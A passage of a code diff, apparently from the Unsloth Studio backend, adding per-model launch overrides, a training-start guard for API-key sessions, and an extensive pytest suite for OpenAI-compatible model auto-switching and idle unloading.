response_model = ModelOverridesResponse) +def update_openai_auto_switch_override( + payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject) +) -> ModelOverridesResponse: + from core.inference.llama_server_args import validate_extra_args + try: + extra_args = validate_extra_args(payload.llama_extra_args) + set_model_override( + payload.model_id, + llama_extra_args = extra_args, + max_seq_length = payload.max_seq_length, + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid model launch override."), + event = "settings.update_model_override_failed", + log = logger, + ) from exc + return ModelOverridesResponse(overrides = get_model_overrides()) + + class PreviewLinkRotateResponse(BaseModel): rotated: bool = True diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index bcb0c344e0..d235a2e843 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -47,7 +47,7 @@ except ImportError: from utils.paths import resolve_dataset_path # Auth -from auth.authentication import get_current_subject +from auth.authentication import authenticated_via_api_key, get_current_subject from utils.utils import log_and_http_error @@ -114,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu @router.post("/start") async def start_training( - request: TrainingStartRequest, current_subject: str = Depends(get_current_subject) + request: TrainingStartRequest, + current_subject: str = Depends(get_current_subject), + via_api_key: bool = Depends(authenticated_via_api_key), ): """ Start a training job. @@ -125,6 +127,22 @@ async def start_training( try: logger.info(f"Starting training job with model: {request.model_name}") + # When Studio is driven as an inference API (API-key auth), refuse to start + # training while a request is in flight: training frees VRAM by unloading + # the chat model, which would kill the stream. The Studio UI (session auth) + # still starts training and coexists/frees VRAM as before. (A mixed UI+API + # session is not yet special-cased.) + if via_api_key is True: + from core.inference.llama_keepwarm import other_inference_request_count + if other_inference_request_count(current_request_counted = False) > 0: + raise HTTPException( + status_code = 409, + detail = ( + "Cannot start training over the API while an inference request is in " + "progress. Wait for it to finish, or start training from the Studio UI." + ), + ) + # No in-process ensure_transformers_version(): the subprocess # (worker.py) activates the correct version before importing ML libs. diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py index 13d6f8ef5e..ea951a4325 100644 --- a/studio/backend/startup_banner.py +++ b/studio/backend/startup_banner.py @@ -12,6 +12,18 @@ import os import sys +def _safe_print(text: str) -> None: + """Print text without crashing on terminals that cannot encode Unicode.""" + try: + print(text) + except UnicodeEncodeError: + encoding = getattr(sys.stdout, "encoding", None) or "ascii" + try: + print(text.encode(encoding, errors = "replace").decode(encoding)) + except LookupError: + print(text.encode("ascii", errors = "replace").decode("ascii")) + + def stdout_supports_color() -> bool: """True if we should emit ANSI colors.""" if os.environ.get("NO_COLOR", "").strip(): @@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None: """Message when the requested port is taken and another is chosen.""" msg = f"Port {original_port} is in use, using port {new_port} instead." if stdout_supports_color(): - print(f"\033[38;5;245m{msg}\033[0m") + _safe_print(f"\033[38;5;245m{msg}\033[0m") else: - print(msg) + _safe_print(msg) def print_studio_stop_hint() -> None: @@ -44,7 +56,7 @@ def print_studio_stop_hint() -> None: def style(text: str, code: str) -> str: return f"{code}{text}{reset}" if use_color else text - print( + _safe_print( "\n".join( [ "", @@ -180,4 +192,4 @@ def print_studio_access_banner( ] ) - print("\n".join(lines)) + _safe_print("\n".join(lines)) diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py index 23b90d7002..ba9f5b9cbc 100644 --- a/studio/backend/storage/studio_db.py +++ b/studio/backend/storage/studio_db.py @@ -1689,6 +1689,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]: conn.close() +def upsert_app_setting_map_entry( + key: str, entry_key: str, entry_value: dict[str, Any] | None +) -> dict[str, Any]: + """Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued + app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other + sub-entries cannot drop each other's updates.""" + conn = get_connection() + try: + conn.execute("BEGIN IMMEDIATE") + row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone() + current = _json_loads(row["value_json"], {}) if row else {} + if not isinstance(current, dict): + current = {} + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + now = datetime.now(timezone.utc).isoformat() + conn.execute( + """ + INSERT INTO app_settings (key, value_json, updated_at) + VALUES (?, ?, ?) + ON CONFLICT(key) DO UPDATE SET + value_json = excluded.value_json, + updated_at = excluded.updated_at + """, + (key, json.dumps(current), now), + ) + conn.commit() + return current + except Exception: + conn.rollback() + raise + finally: + conn.close() + + def list_chat_settings() -> dict[str, Any]: conn = get_connection() try: diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py new file mode 100644 index 0000000000..7d2e2213b3 --- /dev/null +++ b/studio/backend/tests/test_openai_auto_switch.py @@ -0,0 +1,3039 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in OpenAI /v1 model auto-switch: resolver, hook, and settings coercion. + +No GPU or llama-server: the backend and the load route are mocked, mirroring +tests/test_gguf_completion_usage.py. +""" + +import asyncio + +import pytest + +import routes.inference as inference_route +from models.inference import LoadRequest +from core.inference import local_model_resolver as resolver +from utils import openai_auto_switch_settings as settings + + +class _FakeBackend: + def __init__( + self, + loaded_id = None, + hf_variant = None, + advertised_id = None, + ): + self.model_identifier = loaded_id + self.is_loaded = loaded_id is not None + self.hf_variant = hf_variant + self._openai_advertised_id = advertised_id + + +class _LoadRecorder: + """Stand-in for the load route: records calls and simulates a load.""" + + def __init__( + self, + backend, + fail = False, + ): + self.backend = backend + self.calls = [] + self.fail = fail + + async def __call__( + self, + request, + fastapi_request, + current_subject = None, + ): + self.calls.append(request) + if self.fail: + from fastapi import HTTPException + raise HTTPException(status_code = 503, detail = "load failed") + self.backend.model_identifier = request.model_path + self.backend.is_loaded = True + # Mirror _load_model_impl: a load advertises its own id until the + # auto-switch caller overwrites it with the repo id. + self.backend._openai_advertised_id = None + return None + + +def _wire(monkeypatch, *, enabled, resolves_to, backend, recorder): + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda _m: resolves_to) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + # Auto-switch loads via _load_model_impl (the /load route holds the lifecycle + # gate that auto-switch already owns, so it calls the impl directly). + monkeypatch.setattr(inference_route, "_load_model_impl", recorder) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + +def _run_hook(model = "some/model"): + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "tester")) + + +def test_flag_off_never_loads(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") + assert rec.calls == [] + + +def test_unknown_model_falls_through(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_already_loaded_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + # Case-insensitive match against the loaded identifier. + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/a-gguf", None, "unsloth/a-gguf"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/A-GGUF") + assert rec.calls == [] + + +def test_known_unloaded_model_switches_once(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert isinstance(req, LoadRequest) + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert backend.model_identifier == "unsloth/B-GGUF" + + +def test_concurrent_same_target_loads_once(monkeypatch): + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + + async def _race(): + await asyncio.gather( + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + ) + + asyncio.run(_race()) + assert len(rec.calls) == 1 + + +def test_load_failure_propagates(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend, fail = True) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException): + _run_hook("unsloth/B-GGUF") + + +def test_same_repo_different_variant_switches(monkeypatch): + # Q4_K_M loaded, Q8_0 requested: a different quant must trigger a reload. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec.calls) == 1 + assert rec.calls[0].gguf_variant == "Q8_0" + + +def test_same_repo_same_variant_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "q4_k_m", "unsloth/B-GGUF"), # case-insensitive + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert rec.calls == [] + + +def test_responses_endpoint_wires_auto_switch_before_dispatch(): + # The /v1/responses endpoint must invoke the auto-switch hook before either + # dispatcher so streaming requests switch too. Asserted on the source, which + # is immune to test-ordering effects on the shared inference module. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "_maybe_auto_switch_model" in src + hook_at = src.index("_maybe_auto_switch_model") + assert hook_at < src.index("_responses_stream") + assert hook_at < src.index("_responses_non_streaming") + + +def test_embeddings_endpoint_wires_auto_switch_before_loaded_check(): + # /v1/embeddings is model-bearing too, so it must auto-switch before the + # loaded-state gate. Asserted on the source for order-independence. + import inspect + + src = inspect.getsource(inference_route.openai_embeddings) + assert "_auto_switch_from_request_body" in src + assert src.index("_auto_switch_from_request_body") < src.index("is_loaded") + + +def test_count_tokens_endpoint_wires_auto_switch_before_loaded_check(): + # The Anthropic token-count endpoint must count with the requested model. + import inspect + + src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "_maybe_auto_switch_model" in src + assert src.index("_maybe_auto_switch_model") < src.index("is_loaded") + + +def test_openai_compat_routes_bound_to_handlers_with_auth(): + # Inserting a helper between a @router.post decorator and its handler silently + # rebinds the route to the helper and drops its auth dependency (this happened to + # /messages/count_tokens). The source-inspection tests above miss it because they + # call the handler directly. Lock the path -> (handler, auth) mapping at the route + # level so any decorator/handler split is caught. + expected = { + ("POST", "/chat/completions"): "openai_chat_completions", + ("POST", "/completions"): "openai_completions", + ("POST", "/embeddings"): "openai_embeddings", + ("POST", "/responses"): "openai_responses", + ("POST", "/messages"): "anthropic_messages", + ("POST", "/messages/count_tokens"): "anthropic_count_tokens", + ("POST", "/audio/generate"): "generate_audio", + ("GET", "/models"): "openai_list_models", + ("GET", "/models/{model_id:path}"): "openai_retrieve_model", + } + seen = {} + for r in inference_route.router.routes: + path = getattr(r, "path", None) + endpoint = getattr(r, "endpoint", None) + if path is None or endpoint is None: + continue + for method in getattr(r, "methods", None) or (): + seen[(method, path)] = r + for key, handler in expected.items(): + assert key in seen, f"route {key} is not registered" + route = seen[key] + assert ( + route.endpoint.__name__ == handler + ), f"{key} bound to {route.endpoint.__name__}, expected {handler}" + deps = [d.call.__name__ for d in route.dependant.dependencies] + assert "get_current_subject" in deps, f"{key} lost its auth dependency" + + +# ── resolver ──────────────────────────────────────────────────────── + + +def test_local_gguf_entry_filters_non_gguf_and_recurses(tmp_path): + from types import SimpleNamespace + + # Transformers/safetensors folder: not a GGUF, must be rejected. + tf = tmp_path / "tf-model" + tf.mkdir() + (tf / "config.json").write_text("{}") + (tf / "model.safetensors").write_text("x") + assert resolver._local_gguf_entry("tf", SimpleNamespace(path = str(tf))) is None + + # Standalone .gguf file: an entry with no quant sub-selection. + bare = tmp_path / "x.gguf" + bare.write_text("x") + e = resolver._local_gguf_entry("x", SimpleNamespace(path = str(bare))) + assert e is not None and e.variants == () + + # HF-cache snapshots with a quant subdir (the nested layout the previous + # shallow glob missed): must still be detected. + repo = tmp_path / "models--org--repo" + (repo / "snapshots" / "abc" / "BF16").mkdir(parents = True) + (repo / "snapshots" / "abc" / "BF16" / "model-BF16.gguf").write_text("x") + e2 = resolver._local_gguf_entry("org/repo", SimpleNamespace(path = str(repo))) + assert e2 is not None and e2.variants + + +def test_local_gguf_entry_rejects_standalone_mmproj(tmp_path): + # Codex P2: _scan_models_dir's standalone-.gguf pass emits an entry for a + # bare mmproj projector (it only filters mmproj inside directory scans). A + # projector is not a servable model, so the resolver must reject it or + # /v1/models advertises it and a switch could load it over the real weights. + from types import SimpleNamespace + + proj = tmp_path / "mmproj-F16.gguf" + proj.write_text("x") + assert resolver._local_gguf_entry("p", SimpleNamespace(path = str(proj))) is None + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) is False + + +def _entry(loader_id, *variants): + # load_path == loader_id for tests; production stores a concrete local path. + return resolver._LocalGgufEntry(loader_id, loader_id, tuple(variants)) + + +def test_resolver_matches_and_splits_variant(monkeypatch): + monkeypatch.setattr( + resolver, + "_build_index", + lambda: {"unsloth/b-gguf": _entry("unsloth/B-GGUF", "UD-Q5_K_XL", "Q4_K_M")}, + ) + resolver._scan = (0.0, {}) # force a rescan + # A requested variant present on disk resolves (case-insensitive). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:ud-q5_k_xl") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A bare id resolves to a concrete local quant, never a remote one. + assert resolver.resolve_local_gguf("unsloth/B-GGUF") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A variant that is not on disk must not resolve (no remote download). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:Q8_0") is None + assert resolver.resolve_local_gguf("totally/unknown") is None + assert resolver.resolve_local_gguf("") is None + + +def test_resolver_failsafe_on_internal_error(monkeypatch): + # Resolution is best-effort: any internal failure must fall through to None + # so the request still serves the loaded model instead of 500-ing. The hook + # calls resolve_local_gguf without its own guard, so the guard lives here. + def boom(): + raise RuntimeError("scan blew up") + + monkeypatch.setattr(resolver, "_build_index", boom) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("unsloth/B-GGUF") is None + + +def test_resolver_nonstring_model_is_failsafe(): + # /v1/completions and /v1/embeddings pass body.get("model") straight through, + # so a non-string must not raise on .strip(). + assert resolver.resolve_local_gguf(123) is None + assert resolver.resolve_local_gguf({"a": 1}) is None + assert resolver.resolve_local_gguf(None) is None + + +def test_resolver_exact_id_with_colon_wins(monkeypatch): + # A local id that itself contains a colon (e.g. a Windows path) must match + # exactly rather than being split at the drive-letter colon. + win = r"C:\models\foo.gguf" + monkeypatch.setattr(resolver, "_build_index", lambda: {win.lower(): _entry(win)}) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(win) == (win, None, win) + + +# ── settings coercion ─────────────────────────────────────────────── + + +def test_setting_coercion(): + assert settings._coerce_bool("on") is True + assert settings._coerce_bool("off") is False + assert settings._coerce_bool("garbage") is None + assert settings._coerce_int("5") == 5 + assert settings._coerce_int(-3) == 0 + assert settings._coerce_int("nope") is None + + +# ── idle keep-warm ────────────────────────────────────────────────── + + +def test_idle_loop_does_not_unload_freshly_loaded_model(monkeypatch): + # Server idle far longer than the TTL, then a model is loaded: the load + # transition stamps activity so the next poll must not unload it. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 1) + kw._inflight = 0 + kw._last_active = time.monotonic() - 3600 + + unloads = [] + backend = _FakeBackend("unsloth/Fresh-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.05) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch): + # The headline behavior (the other idle tests only cover the negative paths): + # with nothing in flight and the TTL elapsed, the loop frees the GGUF exactly + # once and records its identity so a later alias request can reload that variant. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005) + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + kw._last_unloaded_model = None + + unloads = [] + backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M") + + def _unload(): + unloads.append(1) + backend.is_loaded = False # a real unload clears the slot + + backend.unload_model = _unload + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.02)) + await asyncio.sleep(0.2) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [1] # freed once, not repeatedly + stash = kw.get_last_unloaded_model() + assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M" + + +def test_audio_generate_is_tracked_as_inference_path(): + # Direct GGUF TTS uses the llama backend and can outlive the idle TTL, so + # the keep-warm middleware must count it as in-flight inference. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/chat/completions") is True + assert _is_inference_path("/api/inference/models/list") is False + + +def test_idle_loop_does_not_unload_while_request_inflight(monkeypatch): + # An in-flight request (inflight > 0) must protect the model from unload + # even when it has been idle by wall-clock past the TTL. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.01) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_last_active", time.monotonic() - 3600) + + unloads = [] + backend = _FakeBackend("unsloth/Active-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.08) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +# ── per-model launch overrides ────────────────────────────────────── + + +def test_auto_switch_applies_model_override(monkeypatch): + # A configured model loads with its saved launch flags, not bare defaults. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, + "get_model_override", + lambda model_id: {"llama_extra_args": ["--n-gpu-layers", "20"], "max_seq_length": 4096}, + ) + + _run_hook("unsloth/B-GGUF") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert req.llama_extra_args == ["--n-gpu-layers", "20"] + assert req.max_seq_length == 4096 + + +def test_auto_switch_applies_partial_override(monkeypatch): + # Only llama_extra_args is configured: it is applied, max_seq_length stays default. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, "get_model_override", lambda model_id: {"llama_extra_args": ["--flash-attn"]} + ) + + _run_hook("unsloth/B-GGUF") + req = rec.calls[0] + assert req.llama_extra_args == ["--flash-attn"] + assert req.max_seq_length == 0 # untouched default + + +def _mock_override_store(monkeypatch): + """Back the override read + atomic-merge write with an in-memory dict.""" + import storage.studio_db as db + + store = {} + + def _merge_entry(key, entry_key, entry_value): + current = dict(store.get(key) or {}) + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + store[key] = current + return current + + monkeypatch.setattr(db, "upsert_app_setting_map_entry", _merge_entry) + monkeypatch.setattr(db, "get_app_setting", lambda k, default = None: store.get(k, default)) + settings._cache.clear() + return store + + +def test_model_override_roundtrip(monkeypatch): + _mock_override_store(monkeypatch) + + settings.set_model_override( + "unsloth/B-GGUF", llama_extra_args = ["--n-gpu-layers", "20"], max_seq_length = 4096 + ) + assert settings.get_model_override("unsloth/B-GGUF") == { + "llama_extra_args": ["--n-gpu-layers", "20"], + "max_seq_length": 4096, + } + # An override with no fields removes the entry rather than storing an empty one. + settings.set_model_override("unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None) + assert settings.get_model_override("unsloth/B-GGUF") == {} + assert settings.get_model_overrides() == {} + + +def test_override_route_rejects_managed_flag_and_removes(monkeypatch): + import routes.settings as settings_route + from fastapi import HTTPException + + _mock_override_store(monkeypatch) + + # A managed/denylisted llama-server flag is rejected with 400, not 500. + bad = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--port", "1234"] + ) + with pytest.raises(HTTPException) as excinfo: + settings_route.update_openai_auto_switch_override(bad, "tester") + assert excinfo.value.status_code == 400 + + # A valid override is stored, then an empty payload removes it through the route. + ok = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--flash-attn"], max_seq_length = 4096 + ) + resp = settings_route.update_openai_auto_switch_override(ok, "tester") + assert resp.overrides["unsloth/B-GGUF"]["max_seq_length"] == 4096 + assert "llama_extra_args" in resp.overrides["unsloth/B-GGUF"] + + empty = settings_route.ModelOverridePayload(model_id = "unsloth/B-GGUF") + resp2 = settings_route.update_openai_auto_switch_override(empty, "tester") + assert "unsloth/B-GGUF" not in resp2.overrides + + +def test_model_override_rejects_zero_max_seq_length(): + # 0 is not a valid sequence length and the setter drops a falsy value, so the + # payload must reject it at the boundary instead of accepting then discarding it. + import pydantic + import routes.settings as settings_route + + with pytest.raises(pydantic.ValidationError): + settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 0) + assert settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 1).max_seq_length == 1 + + +def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypatch): + # The PUT must persist enabled + idle in a single upsert so a settings write can't + # leave one key updated and the other stale. + import routes.settings as settings_route + import storage.studio_db as db + from utils.openai_auto_switch_settings import ( + AUTO_UNLOAD_IDLE_SETTING_KEY, + OPENAI_AUTO_SWITCH_SETTING_KEY, + ) + + calls = [] + + def _capture(mapping): + calls.append(dict(mapping)) + return {} + + monkeypatch.setattr(db, "upsert_app_settings", _capture) + settings._cache.clear() + + payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 120) + resp = settings_route.update_openai_auto_switch(payload, "tester") + assert resp.enabled is True and resp.auto_unload_idle_seconds == 120 + assert len(calls) == 1 # one transaction, not two + written = calls[0] + assert written.get(OPENAI_AUTO_SWITCH_SETTING_KEY) is True + assert written.get(AUTO_UNLOAD_IDLE_SETTING_KEY) == 120 + + +def test_settings_report_idle_unload_active_when_env_backed(monkeypatch): + # Codex P2: with UNSLOTH_MODEL_IDLE_TTL driving idle-unload while the toggle is + # off, the settings response must report idle_unload_active so the UI shows the + # feature as active via env rather than "needs enable". + import routes.settings as settings_route + + monkeypatch.setattr(settings_route, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr( + settings_route, "get_auto_unload_idle_seconds", lambda: 600 + ) # effective > 0 + resp = settings_route.get_openai_auto_switch("tester") + assert resp.enabled is False and resp.idle_unload_active is True + # Effective TTL 0 (off, nothing env-backed) -> not active. + monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0) + assert settings_route.get_openai_auto_switch("tester").idle_unload_active is False + + +# ── /v1/models discovery ──────────────────────────────────────────── + + +def test_v1_models_retrieve_is_case_insensitive(monkeypatch): + # The resolver lowercases its index, so a retrieve that differs only in case + # from a catalog id must still hit (200), not 404. Guards the .lower() compare + # in openai_retrieve_model against a silent revert. (The full local catalog is + # main's #6519; only the loaded fast-path is exact, the catalog loop is lenient.) + from fastapi import HTTPException + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + + async def _catalog(): + return [ + {"id": "unsloth/A-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + {"id": "unsloth/B-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + ] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _catalog) + + # A catalog id retrieved with different casing still resolves. + obj = asyncio.run(inference_route.openai_retrieve_model("unsloth/a-gguf", "tester")) + assert obj["id"] == "unsloth/A-GGUF" + # A truly unknown id still 404s. + with pytest.raises(HTTPException) as unknown: + asyncio.run(inference_route.openai_retrieve_model("totally/unknown", "tester")) + assert unknown.value.status_code == 404 + + +# ── hardening: hidden models, idle/enabled coupling, count_tokens keep-warm ── + + +def test_index_excludes_hidden_models(tmp_path, monkeypatch): + # The llama.cpp validation probe and RAG embedding weights are hidden from + # Studio's pickers; they must never become auto-switch targets. + from types import SimpleNamespace + import routes.models as models_route + + normal = tmp_path / "normal-Q4_K_M.gguf" + normal.write_bytes(b"x" * 32) + probe = tmp_path / "stories260K.gguf" # llama.cpp install-validation probe + probe.write_bytes(b"x" * 32) + + def _info(mid, path): + return SimpleNamespace(id = mid, path = str(path), model_id = mid, display_name = mid) + + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda *a, **k: [_info("org/Normal-GGUF", normal), _info("ggml-org/models", probe)], + ) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + resolver._scan = (0.0, {}) + + index = resolver._index() + assert "org/normal-gguf" in index # keys are normalized to lowercase + assert "ggml-org/models" not in index + # And the hidden probe cannot be auto-switched to by name. + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("ggml-org/models") is None + + +def test_idle_disabled_when_auto_switch_off(monkeypatch): + # "Off means unchanged": a stored idle TTL must report 0 while auto-switch is + # off, so the idle loop and keep-warm middleware can never unload the model. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 60} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 60 + + +def test_count_tokens_is_tracked_as_inference_path(): + # count_tokens counts via the loaded tokenizer, so idle-unload must not pull + # the model out from under it; it has to be a tracked in-flight path. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/v1/messages/count_tokens") is True + assert _is_inference_path("/api/inference/messages/count_tokens") is True + assert _is_inference_path("/v1/messages") is True + + +# ── review follow-ups: bare-id reuse, responses order, in-flight tracking ── + + +def test_bare_id_tolerates_any_loaded_variant(monkeypatch): + # Repo already loaded as Q4_K_M; a BARE request for the same repo (resolver + # picks the largest local quant, Q8_0) must NOT reload a different quant. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") # bare, no :VARIANT + assert rec.calls == [] + # An explicit :VARIANT request still honors the quant (reloads to Q8_0). + rec2 = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec2, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec2.calls) == 1 + + +def test_responses_hook_runs_after_input_validation(): + # A request that 400s on empty input must not have triggered a model load, + # so the auto-switch hook must come after the input-validation guard. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "No input provided" in src + assert src.index("No input provided") < src.index("_maybe_auto_switch_model") + + +def test_responses_system_only_rejected_before_switch(monkeypatch): + # Codex P2: instructions-only input normalises to a lone system message, which + # passes the empty-input check; it must 400 before the switch so an invalid + # Responses request can't evict the resident model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch a system-only Responses request") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", instructions = "be helpful", input = "") + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + + +def test_keepwarm_tracks_inflight_when_enabled_even_if_idle_zero(monkeypatch): + 